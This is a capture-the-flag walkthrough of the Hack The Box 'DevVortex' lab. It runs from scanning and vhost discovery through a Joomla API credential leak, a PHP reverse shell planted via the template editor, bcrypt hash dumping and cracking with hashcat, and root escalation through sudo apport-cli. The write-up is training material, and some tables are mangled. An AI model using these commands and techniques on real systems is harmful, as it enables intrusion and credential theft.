HTB DevVortex notes

Nmap scan:

nmap -sV -sC -v 10.129.172.218

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) ssh-hostkey:

3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)

256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)

_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)

80/tcp open http nginx 1.18.0 (Ubuntu)

_http-server-header: nginx/1.18.0 (Ubuntu)


| http-methods:

| Supported Methods: GET HEAD POST OPTIONS

|_http-title: Did not follow redirect to http://devvortex.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I added the web app to /etc/hosts and opened the web app.

echo "10.129.172.218 devvortex.htb" | sudo tee -a /etc/hosts



The only points of interest were the contacts page and any potential subdirectories. I tested the contacts page for xss or sql injection, but they appeared to clean input properly.

I next checked for subdomains using gobuster:

gobuster dir -u http://devvortex.htb/ -w SecLists/Discovery/Web-Content/common.txt -r

Starting gobuster in directory enumeration mode

/css (Status: 403) [Size: 162] /images (Status: 403) [Size: 162] /index.html (Status: 200) [Size: 18048]

/js (Status: 403) [Size: 162]

Progress: 4723 / 4724 (99.98%)

Finished

None of these were particularly of use either.

After some trouble, I found I could also scan for virtual hosts on gobuster, so tried that.

gobuster vhost -u http://devvortex.htb -w SecLists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain

Starting gobuster in VHOST enumeration mode


Found: dev.devvortex.htb Status: 200 [Size: 23221]

Progress: 19966 / 19967 (99.99%)

Finished

Now I opened the page found on vhosts, dev.devvortex.htb. I had to add it to the hosts file first.

echo "10.129.172.218 dev.devvortex.htb" | sudo tee -a /etc/hosts



Now we get a different site come up, presumably a development site. I decided to first enumerate this site too.

gobuster dir -u http://dev.devvortex.htb/ -w SecLists/Discovery/Web-Content/common.txt -r


Starting gobuster in directory enumeration mode

```
/.git/HEAD
                   (Status: 403) [Size: 162]
/.forward
                  (Status: 403) [Size: 162]
/.git
               (Status: 403) [Size: 162]
                   (Status: 403) [Size: 162]
/.cvsignore
/.bash_history
                    (Status: 403) [Size: 162]
                 (Status: 403) [Size: 162]
/.config
/.git-rewrite
                 (Status: 403) [Size: 162]
/.cvs
                (Status: 403) [Size: 162]
/.bashrc
                 (Status: 403) [Size: 162]
                 (Status: 403) [Size: 162]
/.cache
                 (Status: 403) [Size: 162]
/.git/config
                 (Status: 403) [Size: 162]
/.git/logs/
                 (Status: 403) [Size: 162]
/.git/index
                   (Status: 403) [Size: 162]
/.git_release
/.gitattributes
                  (Status: 403) [Size: 162]
/.gitignore
                 (Status: 403) [Size: 162]
/.gitmodules
                   (Status: 403) [Size: 162]
/.gitkeep
                 (Status: 403) [Size: 162]
/.gitk
               (Status: 403) [Size: 162]
/.gitreview
                  (Status: 403) [Size: 162]
/.gitconfig
                 (Status: 403) [Size: 162]
                 (Status: 403) [Size: 162]
/.history
                  (Status: 403) [Size: 162]
/.htaccess
/.hta
                (Status: 403) [Size: 162]
                   (Status: 403) [Size: 162]
/.htpasswd
/.perf
                (Status: 403) [Size: 162]
                (Status: 403) [Size: 162]
/.listings
                (Status: 403) [Size: 162]
/.listing
                    (Status: 403) [Size: 162]
/.mysql history
/.passwd
                   (Status: 403) [Size: 162]
                (Status: 403) [Size: 162]
/.profile
/.rhosts
                 (Status: 403) [Size: 162]
/.sh_history
                   (Status: 403) [Size: 162]
/.ssh
                (Status: 403) [Size: 162]
/.subversion
                   (Status: 403) [Size: 162]
/.svnignore
                   (Status: 403) [Size: 162]
/.svn
                (Status: 403) [Size: 162]
                   (Status: 403) [Size: 162]
/.svn/entries
/.swf
                (Status: 403) [Size: 162]
                 (Status: 403) [Size: 162]
/.web
```

```
(Status: 200) [Size: 12211]
/administrator
                   (Status: 406) [Size: 29]
/api/experiments
/api/experiments/configurations (Status: 406) [Size: 29]
             (Status: 406) [Size: 29]
/api
/cache
               (Status: 200) [Size: 31]
/components
                  (Status: 200) [Size: 31]
/home
               (Status: 200) [Size: 23221]
                (Status: 200) [Size: 31]
/images
                (Status: 200) [Size: 31]
/includes
                (Status: 200) [Size: 23221]
/index.php
/language
                (Status: 200) [Size: 31]
/layouts
               (Status: 200) [Size: 31]
               (Status: 200) [Size: 31]
/libraries
/media
               (Status: 200) [Size: 31]
/modules
                (Status: 200) [Size: 31]
               (Status: 200) [Size: 31]
/plugins
               (Status: 200) [Size: 764]
/robots.txt
/templates
                (Status: 200) [Size: 31]
              (Status: 200) [Size: 31]
/tmp
Progress: 4723 / 4724 (99.98%)
______
Finished
```

Which returned a lot of .git subdirectories, as well as other interesting pages.

The administrator subdirectory takes us to an admin login page.



I tried some default credentials but had no luck.

I noticed the page uses Joomla, so googled for some known vulnerabilities. Google told me to try XSS and SQL injection attacks.

These didn't work so I checked the next webpage which told me Joomla is susceptible to brute force attacks as it doesn't restrict excessive authentication attempts.

Another alerted to improper checks allow access to API endpoints.

So I launched Metasploit with the command 'msfconsole' and searched for Joomla.

msf6 > search joomla

Matching Modules

===	==========									
#	Name	Disclosure Date	Rank	Check	Descrip	otion				
0 Gall	auxiliary/scanner/http/joomla_gallerywo	•	2015-03-3 ner	80 n	ormal	No				
1 exploit/unix/webapp/joomla_tinybrowser 2009-07-22 excellent Yes										
	Joomla 1.5.12 TinyBrowser File Upload Code Execution									
2 auxiliary/scanner/http/joomla_api_improper_access_checks 2023-02-01 normal										
Yes	Joomla API Improper Access Checks auxiliary/admin/http/joomla_registration	privose 20	16-10-25	norm	nal Ye	20				
	mla Account Creation and Privilege Esca	•	10-10-25	110111	iai i c	53				
	exploit/unix/webapp/joomla_akeeba_ur		2014-09-29	ex	cellent	Yes				
Joomla Akeeba Kickstart Unserialize Remote Code Execution										
5	auxiliary/scanner/http/joomla_bruteforc	e_login	noi	rmal	No Jo	oomla				
Bru	teforce Login Utility									
	exploit/unix/webapp/joomla_comfields_	•	017-05-17	exc	ellent \	es/				
	mla Component Fields SQLi Remote Co									
	exploit/unix/webapp/joomla_comjce_im	•	2012-08-	-02	exceller	nt				
Yes				0		V				
	exploit/unix/webapp/joomla_contenthis mla Content History SQLi Remote Code	•	2015-10-2	3 ex	cellent	Yes				
	mia content history SQL1 Remote code exploit/multi/http/joomla_http_header_r		5-12-14	evcelle	nt Yes					
	mla HTTP Header Unauthenticated Rem			CXCCIIC	103					
) exploit/unix/webapp/joomla_media_up		2013-08-	01	excellen	t Yes				
	mla Media Manager File Upload Vulnera									
11	auxiliary/scanner/http/joomla_pages		norm	al No	Jooi	mla				
Pag	e Scanner									
	2 auxiliary/scanner/http/joomla_plugins		norma	al No	Joor	nla				
•	gins Scanner									
	auxiliary/gather/joomla_com_realestate		2015-10-		normal					
Yes	9 1	nent Error-Based	=		امدا					
	auxiliary/scanner/http/joomla_version sion Scanner		norm	al No	Joor	ıııa				
ver	Sion Scanner									

15 auxiliary/gather/joomla_contenthistory_sqli 2015-10-22 normal Yes Joomla com_contenthistory Error-Based SQL Injection

16 auxiliary/gather/joomla_weblinks_sqli 2014-03-02 normal Yes Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read

17 auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner 2015-03-20 normal No Web-Dorado ECommerce WD for Joomla! search_category_id SQL Injection Scanner

Number 2 allows us to check for API improper access checks, so we use 2 and show options.

msf6 > use 2
msf6 auxiliary(scanner/http/joomla_api_improper_access_checks) > show options

Module options (auxiliary/scanner/http/joomla_api_improper_access_checks):

Name Current Setting Required Description							
Proxies	no A proxy chain of format type:host:por						
t[,type:host:port][]							
RHOSTS	yes The target host(s), see https://docs.						
metasploit.com/docs/using-metasploit/							
basics/using-metasploit.html							
RPORT 80	yes The target port (TCP)						
SSL false	no Negotiate SSL/TLS for outgoing connec						
	tions						
TARGETURI /	yes The URI of the Joomla Application						
THREADS 1	yes The number of concurrent threads (max						
one per host)							
VHOST	no HTTP server virtual host						

View the full module info with the info, or info -d command.

We then set the RHOST to dev.devvortex.htb and run msf.

msf6 auxiliary(scanner/http/joomla_api_improper_access_checks) > set RHOST
dev.devvortex.htb
RHOST => dev.devvortex.htb
msf6 auxiliary(scanner/http/joomla_api_improper_access_checks) > run

[+] Users JSON saved to

/Users/alfiebrown/.msf4/loot/20231127161129_default_10.129.172.218_joomla.users_17676 5.bin

[+] Joomla Users

=========

ID Super U Name Usernam Email Send Em Registe Last Vis Group Na

ser	е	ail r Date	e it Date mes				
				•			
649 *	lewis lewis	lewis@d 1	2023-09 202	23-10- Super Us			
evvorte -25 16: 29 16:18 ers							
	x.ht	b 44:24	:50				
650	logan p loga	n logan@d 0	2023-09	Register			
	aul ev	vorte -26	19: ed				
	x.ht	b 15:42					

[+] Config JSON saved to

[+] Joomla Config

=========

Setting Value
----db encryption 0
db host localhost
db name joomla
db password P4ntherg0t1n5r3c0n##
db prefix sd4fg_
db user lewis
dbtype mysqli


- [*] Scanned 1 of 1 hosts (100% complete)
- * Auxiliary module execution completed

As you can see, there are 2 users, lewis and logan. Lewis is a super user, whilst logan is simply registered. The db encryption value is set to 0, and their password is above.


User: lewis


password: P4ntherg0t1n5r3c0n##

Using those credentials, we can log in successfully.




After some navigating, I discovered under System -> Site templates you can find and manage system files.






Click on Cassiopeia Details and Files.



Here, as the super user, we can upload a php reverse shell.

I edited the shell's code to include my tun0 IP address and the port I will listen on.

I then created a new file on the webpage and pasted in my reverse shell.



Looking back at where the .php files are stored, we can see it is in the templates/Cassiopeia subdirectory.

So, we set up a netcat listener,

```
[alfiebrown@Alfies-Air hacking % nc -lvvnp 4444
Listening on any address 4444 (krb524)
|
```

open a new tab and run our shell.

```
Listening on any address 4444 (krb524)
Connection from 10.129.172.218:47626
Linux devvortex 5.4.0-167-generic #184-Ubuntu SMP Tue Oct 31 09:21:49 UTC 2023 x 86_64 x86_64 x86_64 GNU/Linux
16:31:41 up 4:03, 0 users, load average: 0.00, 0.00, 0.06
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami www-data
$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ \[ \]
```

We now have a reverse shell.

I turned the shell into a fully functional terminal:

```
$ SHELL=/bin/bash script -q /dev/null www-data@devvortex:~/dev.devvortex.htb$
```

From here, we need to escalate privilges.

Remembering the credentials from before, I ran the sql database running as lewis and used his password to log in.

Credentials from earlier:

```
Setting Value
-----
db encryption 0
db host localhost
db name joomla
db password P4ntherg0t1n5r3c0n##
db prefix sd4fg_
db user lewis
dbtype mysqli
```

```
www-data@devvortex:/$ mysql -u lewis -p
mysql -u lewis -p
Enter password: P4ntherg0t1n5r3c0n##

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4775
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)

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Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> []
```

From here we can use show databases; to find all of the databases.

We find these databases:

We use the joomla database show tables to find the tables.

These are the tables found:

```
+----+
| Tables_in_joomla
| sd4fg action log config
| sd4fg_action_logs
| sd4fg_action_logs_extensions |
| sd4fg_action_logs_users
| sd4fg_assets
| sd4fg_associations
| sd4fg_banner_clients
| sd4fg_banner_tracks
| sd4fg_banners
| sd4fg_categories
| sd4fg_contact_details
| sd4fg content
| sd4fg_content_frontpage
| sd4fg_content_rating
| sd4fg_content_types
| sd4fg_contentitem_tag_map
| sd4fg_extensions
| sd4fg_fields
| sd4fg_fields_categories
| sd4fg_fields_groups
| sd4fg_fields_values
| sd4fg_finder_filters
| sd4fg_finder_links
| sd4fg_finder_links_terms
```

```
| sd4fg_finder_logging
| sd4fg_finder_taxonomy
| sd4fg_finder_taxonomy_map
| sd4fg_finder_terms
| sd4fg_finder_terms_common
| sd4fg_finder_tokens
| sd4fg_finder_tokens_aggregate |
| sd4fg_finder_types
| sd4fg_history
| sd4fg_languages
| sd4fg_mail_templates
| sd4fg_menu
| sd4fg_menu_types
| sd4fg_messages
| sd4fg_messages_cfg
| sd4fg_modules
| sd4fg_modules_menu
| sd4fg_newsfeeds
| sd4fg_overrider
| sd4fg_postinstall_messages
| sd4fg_privacy_consents
| sd4fg_privacy_requests
| sd4fg_redirect_links
| sd4fg_scheduler_tasks
| sd4fg_schemas
| sd4fg_session
| sd4fg_tags
| sd4fg_template_overrides
| sd4fg_template_styles
| sd4fg_ucm_base
| sd4fg_ucm_content
| sd4fg_update_sites
| sd4fg_update_sites_extensions |
| sd4fg_updates
| sd4fg_user_keys
| sd4fg_user_mfa
| sd4fg_user_notes
| sd4fg_user_profiles
| sd4fg_user_usergroup_map
| sd4fg_usergroups
| sd4fg_users
| sd4fg_viewlevels
| sd4fg_webauthn_credentials
| sd4fg_workflow_associations |
| sd4fg_workflow_stages
| sd4fg_workflow_transitions
| sd4fg_workflows
```

+-----I then enter:

select * from sd4fg_users

We get back 2 users with hashed passwords. | 649 | lewis | lewis@devvortex.htb | \$2y\$10\$6V52x.SD8Xc7hNIVwUTrl.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u | 0 | | 2023-09-25 16:44:24 | 2023-11-27 16:13:54 | 0 NULL 0 | | 650 | logan paul | logan | logan@devvortex.htb | \$2y\$10\$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtklj12 | 0 | 0 | 2023-09-26 19:15:42 | NULL {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0" ,"a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} | NULL | 0 | | 0 |


The hash for lewis is

\$2y\$10\$6V52x.SD8Xc7hNIVwUTrl.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u

Hash for logan:

\$2y\$10\$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtklj12

Using an online hash analyser, we can find that this is a bcrypt hash.



Using hashcat, we can now try to crack these hashes. I wrote them to a text file called devhash.txt and started cracking.

I entered this hashcat command:

hashcat -m 3200 devhash.txt /usr/share/wordlists/rockyou.txt

which soon returned this:

\$2y\$10\$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtklj12:tequieromucho

This is logan's password hash and the cracked password after the :.

I then used su to change user to logan and entered the password, and I was in! The user flag can be found in /home/logan

```
www-data@devvortex:/$ su logan
su logan
Password: tequieromucho

logan@devvortex:/$ whoami
whoami
logan
logan@devvortex:/$ id
id
uid=1000(logan) gid=1000(logan) groups=1000(logan)
logan@devvortex:/$ [
```

Next, I used sudo -I to check Logan's sudo privileges which returned this:

```
sudo -l
[sudo] password for logan:tequieromucho /

Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL: ALL) /usr/bin/apport-cli
logan@devvortex:/$ []
```

Running it with –help, we can see that we can check the version number of apport running on the system.

```
logan@devvortex:/$ sudo /usr/bin/apport-cli -v
sudo /usr/bin/apport-cli -v
2.20.11
```

A quick google search for 'apport-cli 2.20.11 root escalation' brings us to this page: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/2016023

The page describes how viewing a crash as sudo means the system then doesn't drop sudo privileges.

Therefore, running apport-cli as sudo with -c and any .crash file will grant us root access.

We first create a crash report. To do this we can enter the command sleep 30 & to start a process and enter another command. We can kill the sleep process using killall -SIGSEGV sleep to end the process prematurely and generate a .crash file.

We can then navigate to /var/crash and use `ls` to see the name of the file.

```
logan@devvortex:~$ sleep 30 &
sleep 30 &
[1] 2563
logan@devvortex:~$ killall -SIGSEGV sleep
killall -SIGSEGV sleep
logan@devvortex:~$ cd /var/crash
cd /var/crash
[1]+ Segmentation fault (core dumped) sleep 30 (wd: ~)
(wd now: /var/crash)
logan@devvortex:/var/crash$ ls
ls
_usr_bin_sleep.1000.crash
```

Finally, we can run apport-cli to start the exploit.

sudo apport-cli -c _usr_bin_sleep.1000.crash

Here I was prompted with 5 options, I chose to view the report.

```
What would you like to do? Your options are:

S: Send report (29.2 KB)

V: View report

K: Keep report file for sending later or copying to somewhere else

I: Cancel and ignore future crashes of this program version

C: Cancel

Please choose (S/V/K/I/C): v

v^J

*** Collecting problem information

The collected information can be sent to the developers to improve the application. This might take a few minutes.
```

After waiting a bit, we gained root access.

And are able to execute commands with!

We establish a full shell:

And find the root flag in root.txt.

```
root@devvortex:~# 1s
1s
root.txt
```